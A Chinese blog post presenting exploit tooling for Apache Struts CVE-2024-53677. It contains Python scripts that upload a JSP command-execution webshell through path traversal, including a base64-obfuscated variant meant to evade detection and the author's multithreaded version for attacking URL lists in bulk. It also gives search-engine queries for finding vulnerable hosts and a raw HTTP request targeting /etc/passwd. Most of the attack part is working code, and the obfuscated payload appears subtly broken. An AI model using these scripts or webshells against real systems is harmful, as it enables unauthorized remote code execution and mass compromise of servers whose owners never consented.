当前位置: 首页 > article >正文

Apache Struts RCE (CVE-2024-53677)

前言

对目前的Apache Struts RCE (CVE-2024-53677)的poc进行总结,由于只能单个ip验证,所以自己更改一下代码,实现:多线程读取url验证并保存,更改为中文解释

免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

往期推荐

14w+poc,nuclei全家桶:nuclei模版管理工具+Nuclei

哥斯拉二开,免杀绕过+规避流量检测设备

fscan全家桶:FscanPlus,fs,fscan适用低版本系统,FscanParser

自动爬取url地址,检测sql注入漏洞,sqlmc安装+使用

一键转换订阅为代理池工具+白嫖思路

TestNet,安装+使用,可以代替灯塔

python实现

参考大佬的poc:https://github.com/TAM-K592/CVE-2024-53677-S2-067/
Apache Struts 的以下版本受到影响:2.0.0 至 2.5.33,6.0.0 至 6.3.0.2

根据poc的最近几天的历史,目前网上的最终版本是base64混淆,是昨天中文出来的(2024.12.18中午)
https://github.com/TAM-K592/CVE-2024-53677-S2-067/
image.png
我在大佬的基础上进行了一些修改

  • 变成了多线程
  • 解释变成了中文
usage: CVE-2024-53677-S2-067-thread.py [-h] (-u URL | -f FILE) --upload_endpoint UPLOAD_ENDPOINT [--paths PATHS [PATHS ...]][--filenames FILENAMES [FILENAMES ...]] [--payload PAYLOAD] [-s THREADS] [-o OUTPUT]S2-067 Exploit - 多线程文件上传支持并从文件中读取URLoptions:-h, --help            show this help message and exit-u URL, --url URL     目标基础URL(例如:http://example.com)-f FILE, --file FILE  包含目标基础URL的文件路径,每行一个URL--upload_endpoint UPLOAD_ENDPOINT上传端点路径(例如:/uploads.action)--paths PATHS [PATHS ...]路径遍历测试路径--filenames FILENAMES [FILENAMES ...]自定义载荷文件名--payload PAYLOAD     自定义JSP载荷内容-s THREADS, --threads THREADS使用的线程数量(默认: 5)-o OUTPUT, --output OUTPUT输出成功URL的文件路径(默认:success.txt)

地址:https://github.com/dustblessnotdust/CVE-2024-53677-S2-067-thread
源代码在下面

检测文件上传是否上传成功,不执行命令

import requests
import argparse
import logging
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random# Configure logging
logging.basicConfig(level=logging.INFO,format="%(asctime)s [%(levelname)s] %(message)s",handlers=[logging.StreamHandler()]
)def detect_vulnerability(target_url, upload_endpoint):"""Non-destructive detection of CVE-2024-53677."""logging.info("Starting detection for CVE-2024-53677 (S2-067)...")upload_url = urljoin(target_url, upload_endpoint)test_filename = "../../vuln_test.txt"harmless_content = "S2-067 detection test."# Attempt to overwrite file name using OGNL bindingfiles = {"upload": ("test.txt", harmless_content, "text/plain"),"top.uploadFileName": test_filename  # Attempt filename overwrite}# Custom Content-Type boundaryboundary = "----WebKitFormBoundary" + "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))m = MultipartEncoder(fields=files, boundary=boundary)headers = {"User-Agent": "Mozilla/5.0","Content-Type": m.content_type}logging.info(f"Sending test request to upload endpoint: {upload_url}")try:# Send file upload requestresponse = requests.post(upload_url, headers=headers, data=m, timeout=10)# Analyze HTTP responseif response.status_code == 200:logging.info("[INFO] File upload request succeeded.")if "vuln_test.txt" in response.text:logging.warning("[ALERT] File name overwrite detected. Target may be vulnerable!")else:logging.info("[INFO] Target does not appear vulnerable.")elif response.status_code in [403, 401]:logging.info("[INFO] Access denied. Ensure proper permissions.")else:logging.info(f"[INFO] Unexpected HTTP response: {response.status_code}")except requests.exceptions.RequestException as e:logging.error(f"[ERROR] Request failed: {e}")def main():parser = argparse.ArgumentParser(description="CVE-2024-53677 (S2-067) Non-destructive Detection Tool")parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com)")parser.add_argument("--upload_endpoint", required=True, help="Path to file upload endpoint (e.g., /upload.action)")args = parser.parse_args()logging.info("Starting detection process...")detect_vulnerability(args.url, args.upload_endpoint)logging.info("Detection process completed.")if __name__ == "__main__":main()

没有进行base64混淆

import requests
import argparse
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random
import stringdef generate_random_filename(extension=".jsp", length=8):"""Generate a random filename."""return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) + extensiondef create_payload():"""Generate a simple JSP payload for testing RCE."""return """<%@ page import="java.io.*" %>
<%String cmd = request.getParameter("cmd");if (cmd != null) {Process p = Runtime.getRuntime().exec(cmd);BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));String line;while ((line = in.readLine()) != null) {out.println(line);}}
%>"""def upload_multiple_files(target_url, upload_endpoint, payload, paths, filenames):"""Upload multiple payload files using parameter overwrite and path traversal."""upload_url = urljoin(target_url, upload_endpoint)print(f"[INFO] Target upload endpoint: {upload_url}")headers = {"User-Agent": "Mozilla/5.0"}boundary = '----WebKitFormBoundary' + ''.join(random.choices(string.ascii_letters + string.digits, k=16))for path in paths:files_payload = {}print(f"\n[INFO] Testing path traversal with base path: {path}")for index, filename in enumerate(filenames):modified_filename = f"{path}/{filename}"key_file = f"upload[{index}]"key_name = f"uploadFileName[{index}]"files_payload[key_file] = (filename, payload, "application/octet-stream")files_payload[key_name] = modified_filenameprint(f"[INFO] File {index + 1}: {modified_filename}")m = MultipartEncoder(fields=files_payload, boundary=boundary)headers["Content-Type"] = m.content_typetry:response = requests.post(upload_url, headers=headers, data=m, timeout=10)if response.status_code == 200:print("[SUCCESS] Payload uploaded. Verifying...")for filename in filenames:verify_uploaded_file(target_url, f"{path}/{filename}")else:print(f"[ERROR] Upload failed. HTTP {response.status_code}")except requests.RequestException as e:print(f"[ERROR] Request failed: {e}")def verify_uploaded_file(target_url, file_path):"""Verify if the uploaded payload file is accessible and can execute commands."""file_url = urljoin(target_url, file_path)print(f"[INFO] Verifying uploaded file: {file_url}")try:response = requests.get(file_url, timeout=10)if response.status_code == 200:print(f"[ALERT] File uploaded and accessible: {file_url}?cmd=whoami")else:print(f"[INFO] File not accessible. HTTP Status: {response.status_code}")except requests.RequestException as e:print(f"[ERROR] Verification failed: {e}")def main():parser = argparse.ArgumentParser(description="S2-067 Exploit - Multi-file Upload Support")parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com)")parser.add_argument("--upload_endpoint", required=True, help="Path to upload endpoint (e.g., /uploads.action)")parser.add_argument("--paths", nargs="+", default=["../../../../../webapps/ROOT", "/tmp"],help="Paths for path traversal testing")parser.add_argument("--filenames", nargs="+",help="Custom filenames for payloads",default=[generate_random_filename() for _ in range(3)])parser.add_argument("--payload", help="Custom JSP payload content", default=create_payload())args = parser.parse_args()print("[INFO] Starting S2-067 Multi-file Upload Exploit...")upload_multiple_files(args.url.rstrip("/"), args.upload_endpoint, args.payload, args.paths, args.filenames)print("\n[INFO] Exploit process completed.")if __name__ == "__main__":main()

进行了base64混淆

import requests
import argparse
import base64
import random
import string
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoderdef generate_random_filename(extension=".jsp", length=8):"""Generate a random filename."""return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) + extensiondef create_obfuscated_payload():"""Generate an obfuscated JSP payload for testing RCE.Avoid direct detection by encoding and decoding commands dynamically."""payload_base64 = base64.b64encode("""
<%@ page import="java.io.*" %>
<%String cmd = request.getParameter("cmd");if (cmd != null) {Process p = Runtime.getRuntime().exec(cmd);BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));StringBuilder output = new StringBuilder();String line;while ((line = in.readLine()) != null) {output.append(line).append("\\n");}out.println(output.toString());}
%>
""".strip().encode()).decode()jsp_payload = f"""<%@ page import="java.util.Base64, java.nio.charset.StandardCharsets" %>
<%String encodedPayload = "{payload_base64}";byte[] decodedBytes = Base64.getDecoder().decode(encodedPayload);String decoded = new String(decodedBytes, StandardCharsets.UTF_8);out.println(decoded);// Execute dynamically decoded payloadrequest.getRequestDispatcher("temp.jsp").include(request, response);
%>"""return jsp_payloaddef upload_multiple_files(target_url, upload_endpoint, payload, paths, filenames):"""Upload multiple payload files using parameter overwrite and path traversal."""upload_url = urljoin(target_url, upload_endpoint)print(f"[INFO] Target upload endpoint: {upload_url}")headers = {"User-Agent": "Mozilla/5.0"}boundary = '----WebKitFormBoundary' + ''.join(random.choices(string.ascii_letters + string.digits, k=16))for path in paths:files_payload = {}print(f"\n[INFO] Testing path traversal with base path: {path}")for index, filename in enumerate(filenames):modified_filename = f"{path}/{filename}"key_file = f"upload[{index}]"key_name = f"uploadFileName[{index}]"files_payload[key_file] = (filename, payload, "application/octet-stream")files_payload[key_name] = modified_filenameprint(f"[INFO] File {index + 1}: {modified_filename}")m = MultipartEncoder(fields=files_payload, boundary=boundary)headers["Content-Type"] = m.content_typetry:response = requests.post(upload_url, headers=headers, data=m, timeout=10)if response.status_code == 200:print("[SUCCESS] Payload uploaded. Verifying...")for filename in filenames:verify_uploaded_file(target_url, f"{path}/{filename}")else:print(f"[ERROR] Upload failed. HTTP {response.status_code}")except requests.RequestException as e:print(f"[ERROR] Request failed: {e}")def verify_uploaded_file(target_url, file_path):"""Verify if the uploaded payload file is accessible."""file_url = urljoin(target_url, file_path)print(f"[INFO] Verifying uploaded file: {file_url}")try:response = requests.get(file_url, timeout=10)if response.status_code == 200:print(f"[ALERT] File uploaded and accessible: {file_url}?cmd=whoami")else:print(f"[INFO] File not accessible. HTTP Status: {response.status_code}")except requests.RequestException as e:print(f"[ERROR] Verification failed: {e}")def main():parser = argparse.ArgumentParser(description="S2-067 Exploit - Multi-file Upload Support")parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com)")parser.add_argument("--upload_endpoint", required=True, help="Path to upload endpoint (e.g., /uploads.action)")parser.add_argument("--paths", nargs="+", default=["../../../../../webapps/ROOT", "/tmp"],help="Paths for path traversal testing")parser.add_argument("--filenames", nargs="+",help="Custom filenames for payloads",default=[generate_random_filename() for _ in range(3)])parser.add_argument("--payload", help="Custom JSP payload content", default=create_obfuscated_payload())args = parser.parse_args()print("[INFO] Starting S2-067 Multi-file Upload Exploit...")upload_multiple_files(args.url.rstrip("/"), args.upload_endpoint, args.payload, args.paths, args.filenames)print("\n[INFO] Exploit process completed.")if __name__ == "__main__":main()

多线程中文

使用截图

image.png

代码部分

import requests  
import argparse  
import base64  
import random  
import string  
from urllib.parse import urljoin  
from requests_toolbelt.multipart.encoder import MultipartEncoder  
from concurrent.futures import ThreadPoolExecutor  def generate_random_filename(extension=".jsp", length=8):  """生成随机文件名。"""  return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) + extension  def create_obfuscated_payload():  """  生成一个用于测试RCE的混淆JSP载荷。  通过动态编码和解码命令以避免直接检测。  """    payload_base64 = base64.b64encode("""  
<%@ page import="java.io.*" %>  
<%  String cmd = request.getParameter("cmd");    if (cmd != null) {        Process p = Runtime.getRuntime().exec(cmd);        BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));        StringBuilder output = new StringBuilder();        String line;        while ((line = in.readLine()) != null) {            output.append(line).append("\\n");  }        out.println(output.toString());    }%>  
""".strip().encode()).decode()  jsp_payload = f"""<%@ page import="java.util.Base64, java.nio.charset.StandardCharsets" %>  
<%  String encodedPayload = "{payload_base64}";  byte[] decodedBytes = Base64.getDecoder().decode(encodedPayload);    String decoded = new String(decodedBytes, StandardCharsets.UTF_8);    out.println(decoded);    // 动态执行解码后的载荷  request.getRequestDispatcher("temp.jsp").include(request, response);%>"""  return jsp_payload  def upload_and_verify_file(upload_url, headers, files_payload, path, filename):  m = MultipartEncoder(fields=files_payload, boundary='----WebKitFormBoundary' + ''.join(random.choices(string.ascii_letters + string.digits, k=16)))  headers["Content-Type"] = m.content_type  try:  response = requests.post(upload_url, headers=headers, data=m, timeout=10)  if response.status_code == 200:  print("[成功] 载荷上传成功。正在验证...")  verify_uploaded_file(upload_url.split('/uploads')[0], f"{path}/{filename}")  else:  print(f"[错误] 上传失败。HTTP 状态码 {response.status_code} 文件 {filename}")  except requests.RequestException as e:  print(f"[错误] 请求失败: {e}")  def verify_uploaded_file(target_url, file_path):  """验证上传的载荷文件是否可访问。"""  file_url = urljoin(target_url, file_path)  print(f"[信息] 正在验证上传文件: {file_url}")  try:  response = requests.get(file_url, timeout=10)  if response.status_code == 200:  print(f"[警告] 文件上传并可访问: {file_url}?cmd=whoami")  else:  print(f"[信息] 文件不可访问。HTTP 状态码: {response.status_code} 文件 {file_path}")  except requests.RequestException as e:  print(f"[错误] 验证失败: {e}")  def read_urls_from_file(file_path):  """从文件中读取URL,每行一个。"""  urls = []  try:  with open(file_path, 'r') as file:  for line in file:  url = line.strip()  if url:  urls.append(url)  except FileNotFoundError:  print(f"[错误] 文件未找到: {file_path}")  except Exception as e:  print(f"[错误] 读取文件时出错: {e}")  return urls  def main():  parser = argparse.ArgumentParser(description="S2-067 Exploit - 多线程文件上传支持并从文件中读取URL")  group = parser.add_mutually_exclusive_group(required=True)  group.add_argument("-u", "--url", help="目标基础URL(例如:http://example.com)")  group.add_argument("-f", "--file", help="包含目标基础URL的文件路径,每行一个URL")  parser.add_argument("--upload_endpoint", required=True, help="上传端点路径(例如:/uploads.action)")  parser.add_argument("--paths", nargs="+", default=["../../../../../webapps/ROOT", "/tmp"],  help="路径遍历测试路径")  parser.add_argument("--filenames", nargs="+",  help="自定义载荷文件名",  default=[generate_random_filename() for _ in range(3)])  parser.add_argument("--payload", help="自定义JSP载荷内容", default=create_obfuscated_payload())  parser.add_argument("-s", "--threads", type=int, default=5, help="使用的线程数量(默认: 5)")  args = parser.parse_args()  headers = {"User-Agent": "Mozilla/5.0"}  if args.file:  urls = read_urls_from_file(args.file)  if not urls:  print("[错误] 指定文件中没有有效的URL。")  return  else:  urls = [args.url.rstrip("/")]  for target_url in urls:  print(f"\n[信息] 正在处理目标URL: {target_url}")  upload_url = urljoin(target_url, args.upload_endpoint)  with ThreadPoolExecutor(max_workers=args.threads) as executor:  futures = []  for path in args.paths:  files_payload = {}  print(f"\n[信息] 使用基路径进行路径遍历测试: {path}")  for index, filename in enumerate(args.filenames):  modified_filename = f"{path}/{filename}"  key_file = f"upload[{index}]"  key_name = f"uploadFileName[{index}]"  files_payload[key_file] = (filename, args.payload, "application/octet-stream")  files_payload[key_name] = modified_filename  print(f"[信息] 文件 {index + 1}: {modified_filename}")  future = executor.submit(upload_and_verify_file, upload_url, headers.copy(), files_payload, path, filename)  futures.append(future)  for future in futures:  future.result()  print("\n[信息] 攻击过程完成。")  if __name__ == "__main__":  main()

漏洞poc

如果不想使用Python只想验证是否存在,可以使用burpsuite或者yakit

Fofa语法

app="Struts2"

quake语法

app:"Apache Struts2"

个人中心输入邀请码“1CWUGm”你我均可获得5,000长效积分哦,地址 quake.360.net

poc

POST /upload HTTP/1.1
Host: {{file:line(C:\Users\lenovo\Desktop\漏洞挖掘\数据处理\output_1.txt)}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Content-Length: 220
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXToNPRY2YGK82Cfc
Upgrade-Insecure-Requests: 1------WebKitFormBoundaryXToNPRY2YGK82Cfc
Content-Disposition: form-data; name="file"; filename="../../../../../../../etc/passwd"
Content-Type: application/octet-stream1
------WebKitFormBoundaryXToNPRY2YGK82Cfc--

验证截图

image.png

相关文章:

Apache Struts RCE (CVE-2024-53677)

前言 对目前的Apache Struts RCE (CVE-2024-53677)的poc进行总结&#xff0c;由于只能单个ip验证&#xff0c;所以自己更改一下代码&#xff0c;实现&#xff1a;多线程读取url验证并保存&#xff0c;更改为中文解释 免责声明 请勿利用文章内的相关技术从事非法测试&#xf…...

23. AI-大语言模型-DeepSeek

文章目录 前言一、DeepSeek是什么1. 简介2. 产品版本3. 特征4. 地址链接5. 三种访问方式1. 网页端和APP2. DeepSeek API 二、DeepSeek可以做什么1. 应用场景2. 文本生成1. 文本创作2. 摘要与改写3. 结构化生成 3. 自然语言理解与分析1. 语义分析2. 文本分类3. 知识推理 4. 编程…...

verilog基础知识

一,Verilog和VHDL区别 全世界高层次数字系统设计领域中,应用Verilog和VHDL的比率是80%和20%;这两种语言都是用于数字电路系统设计的硬件描述语言, 而且都已经是 IEEE 的标准。 VHDL 是美国军方组织开发的,VHDL1987年成为标准;Verilog 是由一个公司的私有财产转化而来,…...

负载测试工具有哪些?

Apache JMeter Apache JMeter 是一款开源的性能测试工具&#xff0c;主要用于对 Web 应用程序进行功能、负载和压力测试。JMeter 支持多种协议和技术&#xff0c;包括 HTTP, HTTPS, FTP 和 WebSocket 等。通过模拟大量并发用户访问来评估应用程序的表现1。 jmeter -n -t testp…...

项目中分库分表的分布式ID如何生成

分库分表与分布式ID生成在Java项目中的应用 在大规模的分布式系统中&#xff0c;数据库表和数据量的增大可能会导致单个数据库或单个表的性能瓶颈。为了解决这个问题&#xff0c;我们通常使用分库分表来进行数据的水平切分和垂直切分。同时&#xff0c;在分布式环境中&#xf…...

用xarray解析高程数据时,Python报错:FileNotFoundError: [Errno 2] No such file or directory

问题&#xff1a; 用xarray解析高程数据时&#xff0c;Python报错:FileNotFoundError: [Errno 2] No such file or directory。 但是该文件时存在的&#xff0c;用panoply工具也是可以正常打开查看。 产生原因&#xff1a; 文件路径中存在中文&#xff0c;导致出现此问题。 …...

标准SαS分布的模拟脉冲噪声

标准SαS分布&#xff08;Standard SαS Distribution&#xff09;是一种用于描述脉冲噪声的统计分布&#xff0c;常用于模拟具有重尾特性的脉冲噪声信号。SαS分布是从稳定分布&#xff08;Stable Distribution&#xff09;中派生出来的一类分布&#xff0c;具有灵活的形状&am…...

基于STM32设计的自动追光系统(系统资料)

基于STM32设计的自动追光系统 摘要:基于STM32设计的自动追光系统主要由光敏采集电路、单片机核心板电路和步进电机控制电路构成。通过光敏电阻采集环境光强信息,经 STM32 单片机处理后,控制步进电机转动,实现对光源的自动追踪。该系统具有响应速度快、追踪精度较高等优点,…...

成人床垫更新关于 SOR/2016-183 和《纺织品贴标和广告法规》的合规

成人床垫更新关于 SOR/2016-183 和《纺织品贴标和广告法规》的合规性声明 加拿大站成人床垫法规SOR/2016-183是强制性的 。为确保买家安全并遵守相关法规&#xff0c;亚马逊要求所有在加拿大销售的成人床垫必须符合《床垫法规》规定的安全标准&#xff0c;包括SOR/2016-183。此…...

11.编写前端内容|vscode链接Linux|html|css|js(C++)

vscode链接服务器 安装VScode插件 Chinese (Simplified) (简体中⽂) Language Pack for Visual Studio CodeOpen in BrowserRemote SSH 在命令行输入 remote-ssh接着输入 打开配置文件&#xff0c;已经配置好主机 点击远程资源管理器可以找到 右键链接 输入密码 …...

Unity3D 基于 GPU 动画和 Compute Shader 的大批量动画渲染详解

引言 在现代游戏开发中&#xff0c;渲染大量动画角色是一个常见的需求&#xff0c;尤其是在大规模战斗场景、开放世界游戏或 VR/AR 应用中。传统的 CPU 动画计算和渲染方式在面对大批量角色时&#xff0c;往往会遇到性能瓶颈。为了优化性能&#xff0c;开发者可以利用 GPU 的强…...

网工项目实践2.6 广域网需求分析及方案制定

本专栏持续更新&#xff0c;整一个专栏为一个大型复杂网络工程项目。阅读本文章之前务必先看《本专栏必读》。 全网拓扑展示 一.广域网互联方式 1.专线 优点 稳定 独享。绝对安全。可靠性高&#xff0c;带宽高&#xff0c;完全取决于终端接口。 缺点: 费用高。建设时间长。难…...

大模型相关学习

知识科普 为什么不直接使用网页版 DeepSeek? 我们的需求&#xff1a;绝对的隐私保护和个性化知识库构建。场景&#xff1a;若希望大模型能根据企业规章制度来回答问题&#xff0c;一般需上传企业规章制度的附件&#xff0c;但仍可能面临问题。 数据隐私问题&#xff1a;联网使…...

vue2自定义useVModel函数

父组件&#xff1a; <template> <div>父组件数据名字&#xff1a;<input v-model"person.name">父组件数据年龄&#xff1a;<input v-model"person.age"><son v-model"person"></son> </div> </t…...

基于Java(JSP)+MySQL设计与实现的 MVC 鲜花订购系统

基于MVC的鲜花订购系统的设计与实现 摘 要 摘 要&#xff1a;鲜花订购系统与网络相结合&#xff0c;给用户提供更加周到和人性化的服务。网站模式为MVC模式&#xff0c;基于MySql数据库,采用Jsp&#xff0c;Session绘画跟踪、JavaScript等技术,实现了普通用户可以浏览、查看鲜…...

YOLOv11-ultralytics-8.3.67部分代码阅读笔记-dataset.py

dataset.py ultralytics\data\dataset.py 目录 dataset.py 1.所需的库和模块 2.class YOLODataset(BaseDataset): 3.class YOLOMultiModalDataset(YOLODataset): 4.class GroundingDataset(YOLODataset): 5.class YOLOConcatDataset(ConcatDataset): 6.class Sema…...

网络原理-

文章目录 协议应用层传输层网络层 数据链路层 协议 在网络通信中,协议是非常重要的概念.协议就是一种约定. 在网络通信过程中,对协议进行了分层 接下来就按照顺序向大家介绍每一种核心的协议. 应用层 应用层是咱们程序员打交道最多的一层协议.应用层里有很多现成的协议,但…...

解码 NLP:从萌芽到蓬勃的技术蜕变之旅

内容概况&#xff1a; 主要讲述NLP专栏的内容和NLP的发展及其在现代生活中的广泛应用。课程强调实践为主、理论为辅的学习方法&#xff0c;并通过多个生活场景展示了NLP技术的实际应用&#xff0c;如对话机器人、搜索引擎、翻译软件、电商推荐和智能客服等。 这边我就不多做自我…...

Word中的文档信息域

Word中的文档信息域 DocProperty包含文档信息的多个属性, 也可以自定义属性. 查看文档预定义的自定义属性 【文件】→【信息】→【属性】→【高级属性】 参考链接 WORD中文档属性域DocProperty的应用-CSDN博客 第06套 Word_哔哩哔哩_bilibili...

.NET周刊【2月第2期 2025-02-09】

国内文章 开箱即用的.NET MAUI组件库 V-Control 发布了! https://www.cnblogs.com/jevonsflash/p/18701494 文章介绍了V-Control&#xff0c;一个适用于.NET MAUI的组件库。作者计划将其开源&#xff0c;强调.NET MAUI是生产力强的跨平台移动开发工具。V-Control提供多种组件…...

MySQL六大日志的功能介绍。

前言 首先&#xff0c;MySQL的日志应该包括二进制日志&#xff08;Binary Log&#xff09;、错误日志&#xff08;Error Log&#xff09;、查询日志&#xff08;General Query Log&#xff09;、慢查询日志&#xff08;Slow Query Log&#xff09;、重做日志&#xff08;Redo …...

java机器学习计算指标动态阈值

java机器学习计算指标动态阈值 最近听到有的人说要做机器学习就一定要学Python&#xff0c;我想他们掌握的知道还不够系统全面。本文作者以动态阈值需求场景给大家介绍几种常用Java实现的机器学习库&#xff0c;包括使用开源库如Weka或Deeplearning4j&#xff08;DL4J&#xf…...

Note25021902_TIA Portal V18 WinCC BCA Ed 需要.NET 3.5 SP1

TIA Portal V18 WinCC BCA Ed 需要.NET 3.5 SP1 在安装TIA Portal V18时&#xff0c;遇到TIA Portal V18 WinCC BCA Ed 需要.NET 3.5 SP1. 请在此PC上中启用.NET 3.5 SP1&#xff1b; 检索&#xff1a; 电脑上如何启用 .NET 3.5 SP1 参考资料1&#xff1a; https://baijiahao.…...

CHARMM-GUI EnzyDocker: 一个基于网络的用于酶中多个反应状态的蛋白质 - 配体对接的计算平台

❝ "CHARMM-GUI EnzyDocker for Protein−Ligand Docking of Multiple Reactive States along a Reaction Coordinate in Enzymes"介绍了 CHARMM-GUI EnzyDocker&#xff0c;这是一个基于网络的计算平台&#xff0c;旨在简化和加速 EnzyDock 对接模拟的设置过程&…...

阅读论文笔记《Translating Embeddings for Modeling Multi-relational Data》

目录 一、模型核心原理剖析二、实验设计与数据集选择三、实验结果深度解读&#xff08;一&#xff09;链接预测实验&#xff08;二&#xff09;关系分类实验&#xff08;三&#xff09;链接预测示例&#xff08;四&#xff09;泛化实验 四、模型优缺点总结&#xff08;一&#…...

​实在智能与宇树科技、云深科技一同获评浙江省“人工智能服务商”、 “数智优品”​等荣誉

近日&#xff0c;浙江省经信厅正式公布《2024 年浙江省人工智能应用场景、应用标杆企业、人工智能服务商及 “数智优品” 名单》。 实在智能获评浙江省“人工智能服务商”&#xff0c;核心产品 “实在 Agent 智能体” 入选 “数智优品”。一同获此殊荣的还有宇树科技、云深处科…...

跳表(Skip List)详解

一、什么是跳表&#xff1f; 跳表是一种基于有序链表的高效数据结构&#xff0c;通过建立多级索引实现快速查询。它在平均情况下支持O(log n)时间复杂度的搜索、插入和删除操作&#xff0c;性能接近平衡树&#xff0c;但实现更为简单。 二、核心原理 1. 层级结构 底层为完整…...

图片粘贴上传实现

图片上传 html demo 直接粘贴本地运行查看效果即可&#xff0c;有看不懂的直接喂给 deepseek 会解释的很清晰 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport" content"…...

【Linux常用命令-不断更新】

在 Linux 系统中&#xff0c;查看总剩余内存常用方法。 方法 1&#xff1a;使用 free 命令 free 是一个常用的命令&#xff0c;用于显示系统的总内存、已用内存、空闲内存和交换内存。 free -h-h 参数表示以易读的格式&#xff08;如 GB、MB&#xff09;显示内存信息。输出示…...

轻松搭建本地大语言模型(一)Ollama安装与使用

Ollama 是一款开源的本地大语言模型运行框架&#xff0c;支持在 Windows、macOS 和 Linux 系统上运行&#xff0c;能够帮助用户轻松下载和使用各种大语言模型&#xff08;例如deepseek、llama、qwen&#xff09;。本文将详细介绍 Ollama 的安装步骤&#xff0c;帮助你快速搭建本…...